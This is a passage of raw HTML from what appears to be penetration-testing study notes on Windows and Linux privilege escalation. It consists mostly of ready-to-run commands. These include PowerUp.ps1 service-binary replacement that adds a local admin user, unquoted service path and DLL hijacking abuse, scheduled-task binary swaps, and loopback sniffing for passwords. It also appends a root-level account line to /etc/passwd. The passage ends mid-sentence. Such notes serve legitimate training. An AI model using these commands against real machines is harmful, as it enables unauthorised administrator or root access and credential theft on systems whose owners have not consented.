class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -ep bypass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerUp.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Show modifiable services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ModifiableServiceFile&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Replace the binary in one step; by default, this creates a local user named john with password Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Install-ServiceBinary -Name &amp;#39;mysql&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Manual test: check permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles = echo &amp;#39;C:\xampp\mysql\bin\mysqld.exe&amp;#39; | Get-ModifiablePath -Literal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ModifiablePath IdentityReference Permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-------------- ----------------- -----------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\xampp\mysql\bin\mysqld.exe BUILTIN\Users {WriteOwner, Delete, WriteAttributes, Synchronize...}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles = echo &amp;#39;C:\xampp\mysql\bin\mysqld.exe argument&amp;#39; | Get-ModifiablePath -Literal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ModifiablePath IdentityReference Permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-------------- ----------------- -----------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles = echo &amp;#39;C:\xampp\mysql\bin\mysqld.exe argument -conf=C:\test\path&amp;#39; | Get-ModifiablePath -Literal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;DLL Hijacking&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Principle: use the command below to identify the software version, then search for an exploit by vulnerability type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ItemProperty &amp;#34;HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*&amp;#34; | select displayname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FileZilla FTP 3.63.1 is vulnerable to DLL hijacking&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="unquoted-service-paths-a-very-important-and-interesting-trick"&gt;&lt;a href="#unquoted-service-paths-a-very-important-and-interesting-trick" class="header-anchor"&gt;&lt;/a&gt;Unquoted Service Paths (A Very Important and Interesting Trick)&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enumerate running and stopped services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-CimInstance -ClassName win32_service | Select Name,State,PathName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic service get name,displayname,pathname,startmode |findstr /i &amp;#34;Auto&amp;#34; |findstr /i /v &amp;#34;C:\Windows\\&amp;#34; |findstr /i /v &amp;#34;&amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic service get name,pathname | findstr /i /v &amp;#34;C:\Windows\\&amp;#34; | findstr /i /v &amp;#34;&amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic service get name,displayname,pathname,startmode |findstr /i &amp;#34;auto&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;For example, the configured path below is unquoted&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\My Program\My Service\service.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Principle&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\My.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\My Program\My.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\My Program\My service\service.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Then restart the service&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;In this example, we could name the executable Program.exe and place it in C:, name it My.exe and place it in C:\Program Files, or name it My.exe and place it in C:\Program Files\My Program. The first two options require permissions we are unlikely to have because standard users cannot write to those directories by default. The third is more plausible because it is the application&amp;rsquo;s main directory. If an administrator or developer configured its permissions too loosely, we can place a malicious binary there.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Detailed command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls &amp;#34;C:\&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls &amp;#34;C:\Program Files&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls &amp;#34;C:\Program Files\Enterprise Apps&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Find a directory where the current user has W permission, then place an EXE file there&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;After finding one, run the command below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stop-Service GammaService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Service GammaService&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This is another PowerUp.ps1 technique.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PowerUp.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerUp.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Like the above, output vulnerable services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-UnquotedService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Select the write path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Write-ServiceBinary -Name &amp;#39;GammaService&amp;#39; -Path &amp;#34;C:\Program Files\Enterprise Apps\Current.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Restart the service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Restart-Service GammaService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The default behavior creates a new local user named john with password Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="scheduled-task-privilege-escalation"&gt;&lt;a href="#scheduled-task-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;Scheduled Task Privilege Escalation&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View scheduled tasks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /fo LIST /v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /fo LIST /v | findstr /i &amp;#34;Every:&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /fo LIST /v | findstr /i /C:&amp;#34;TaskName&amp;#34; /C:&amp;#34;Every:&amp;#34; /C:&amp;#34;Task To Run:&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Identify the specific task&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /tn &amp;#34;\Microsoft\Windows\SomeTask&amp;#34; /fo LIST /v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Confirm permissions, then replace it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Exploit-Based Privilege Escalation&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /priv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systeminfo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq &amp;#34;Security Update&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="linux-privilege-escalation-information-gathering"&gt;&lt;a href="#linux-privilege-escalation-information-gathering" class="header-anchor"&gt;&lt;/a&gt;Linux Privilege Escalation (Information Gathering)&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls -l /etc/shadow&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/issue&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/os-release&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;uname -a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ps aux&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;routel&#9;#Routing table&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ss -anp&#9;#All connections&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/iptables/rules.v4&#9;#Firewall configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls -lah /etc/cron*&#9;&#9;&#9;&#9;&#9;#Scheduled tasks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crontab -l&#9;&#9;#Scheduled tasks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dpkg -l&#9;&#9;&#9;&#9;#Installed applications&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find / -writable -type d 2&amp;gt;/dev/null&#9;#Writable directories&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/fstab&#9;&#9;#Show mounted drives&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount&#9;&#9;&#9;&#9;&#9;#Mounted filesystems&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsblk&#9;&#9;&#9;&#9;&#9;#View available disks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsmod&#9;&#9;&#9;&#9;&#9;#View loaded kernel modules&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/sbin/modinfo libata&#9;#View more information about the module identified above&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.bashrc&#9;&#9;&#9;&#9;#Script that automatically sets environment variables and may contain useful information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;env&#9;&#9;&#9;&#9;&#9;&#9;#View environment variables that may contain useful information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;watch -n 1 &amp;#34;ps -aux | grep pass&amp;#34;&#9;&#9;#Similar to a lightweight pspy32&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo tcpdump -i lo -A | grep &amp;#34;pass&amp;#34;&#9;#Capture traffic&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;grep &amp;#34;CRON&amp;#34; /var/log/syslog&#9;&#9;&#9;&#9;&#9;#View automated tasks in system logs; also similar to a lightweight pspy32&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/sbin/getcap -r / 2&amp;gt;/dev/null&#9;&#9;#Privilege escalation with cap_setuid+ep&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;searchsploit &amp;#34;linux kernel Ubuntu 16 Local Privilege Escalation&amp;#34; | grep &amp;#34;4.&amp;#34; | grep -v &amp;#34; &amp;lt; 4.4.0&amp;#34; | grep -v &amp;#34;4.8&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A searchsploit technique&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;/etc/passwd Abuse&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;openssl passwd w00t&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash&amp;#34; &amp;gt;&amp;gt; /etc/passwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;How to Build a New Wordlist&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Generate new passwords from a base password according to minimum and maximum 